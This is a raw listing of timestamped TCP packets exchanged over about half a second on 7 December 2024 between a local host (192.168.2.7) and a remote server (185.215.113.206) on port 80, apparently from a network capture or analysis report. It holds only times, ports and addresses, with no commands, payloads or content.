Dec 7, 2024 18:26:53.680438995 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.680728912 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.680869102 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.680913925 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.681158066 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.681195974 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.681293011 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.681334019 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.681952953 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.681996107 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.682096958 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.682137012 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.682957888 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.682997942 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.683060884 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.683100939 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.683995962 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.684037924 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.684112072 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.684154034 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.685589075 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.685636044 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.685842037 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.685883999 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.686871052 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.686882973 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.686913967 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.687339067 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.687380075 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.687532902 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.687573910 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.688597918 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.688608885 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.688643932 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.689493895 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.689536095 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.689570904 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.689610958 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.690457106 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.690501928 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.690553904 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.690593958 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.691567898 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.691608906 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.691689968 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.691729069 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.692555904 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.692598104 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.692665100 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.692702055 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.693629026 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.693670988 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.693748951 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.693788052 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.694689989 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.694730043 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.694818020 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.694856882 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.695755005 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.695795059 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.695894957 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.695933104 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.696799040 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.696839094 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.696955919 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.697000027 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.697886944 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.697930098 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.698004961 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.698045015 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.698957920 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.698996067 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.699079990 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.699148893 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.700014114 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.700056076 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.700136900 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.700176954 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.701086044 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.701126099 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.701235056 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.701273918 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.702163935 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.702204943 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.702259064 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.702300072 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.703232050 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.703270912 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.703352928 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.703392029 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.704314947 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.704356909 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.704463959 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.704504013 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.705337048 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.705375910 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.705543041 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.705583096 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.706468105 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.706497908 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.706518888 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.706537962 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.805596113 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.805669069 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.805737019 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.805775881 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.806102991 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.806154966 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.806199074 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.806237936 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.806356907 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.806401014 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.807334900 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.807380915 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.807418108 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.807459116 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.807624102 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.807660103 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.808448076 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.808500051 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.808542013 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.808579922 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.809364080 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.809406042 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.809478045 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.809513092 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.810319901 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.810383081 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.810487032 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.810529947 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.811412096 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.811456919 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.811722040 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.811763048 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.812477112 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.812517881 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.812596083 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.812633991 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.813534975 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.813581944 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.813739061 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.813782930 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.814589024 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.814627886 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.814729929 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.814768076 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.815651894 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.815692902 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.815777063 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.815812111 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.816745996 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.816788912 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.816837072 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.816867113 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.817780972 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.817817926 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.817926884 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.817965984 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.818866014 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.818907022 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.818983078 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.819020033 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.819976091 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.820015907 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.820099115 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.820136070 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.820990086 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.821032047 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.821105957 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.821144104 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.822128057 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.822168112 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.822248936 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.822287083 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.823154926 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.823195934 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.823261976 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.823301077 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.824196100 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.824239969 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.824326992 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.824366093 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.825256109 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.825298071 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.825403929 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.825443029 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.826349020 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.826389074 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.826442957 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.826482058 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.827403069 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.827441931 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.827560902 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.827599049 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.828454971 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.828495979 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.828572035 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.828610897 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.829521894 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.829565048 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.829648972 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.829689980 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.830616951 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.830658913 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.830725908 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.830765963 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.831676006 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.831717014 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.831774950 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.831816912 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.930270910 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.930346966 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.930408001 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.930447102 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.930771112 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.930814981 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.930900097 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.930938005 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.931094885 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.931133986 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.931605101 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.931643009 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.931698084 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.931735039 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.932111979 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.932156086 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.932284117 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.932322025 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.933159113 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.933201075 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.933311939 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.933351994 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.934313059 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.934364080 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.934438944 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.934484005 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.935297966 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.935338974 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.935532093 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.935571909 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.936372995 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.936415911 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.936495066 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.936534882 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.937397957 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.937442064 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.937594891 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.937634945 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.938503027 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.938554049 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.938627005 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.938666105 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.939598083 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.939637899 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.939717054 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.939754963 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.940740108 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.940781116 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.940929890 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.940968990 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.941689968 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.941730976 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.941782951 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.941818953 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.942787886 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.942828894 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.942935944 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.942976952 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.943846941 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.943896055 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.944017887 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.944058895 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.944902897 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.944943905 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.945101976 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.945142984 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.945961952 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.946002960 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.946115017 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.946156025 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.947046041 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.947088003 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.947254896 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.947293043 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.948090076 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.948131084 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.948254108 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.948295116 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.949156046 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.949201107 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.949346066 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.949387074 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.950225115 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.950267076 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.950429916 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.950470924 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.951399088 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.951440096 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.951592922 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.951632977 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.952574968 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.952615976 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.952672005 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.952712059 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.953422070 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.953460932 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.953547955 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.953588009 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.954485893 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.954524994 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.954617977 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.954658031 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.955698967 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.955740929 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.955753088 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.955786943 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.956648111 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.956687927 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.956744909 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.956784010 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.997987032 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.998025894 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:53.998070002 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:53.998100996 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.058145046 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.058212042 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.058295965 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.058341026 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.058774948 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.058820963 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.058877945 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.058919907 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.059017897 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.059060097 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.059891939 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.059937954 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.059983015 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.060019970 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.060102940 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.060136080 CET	49786	80	192.168.2.7	185.215.113.206
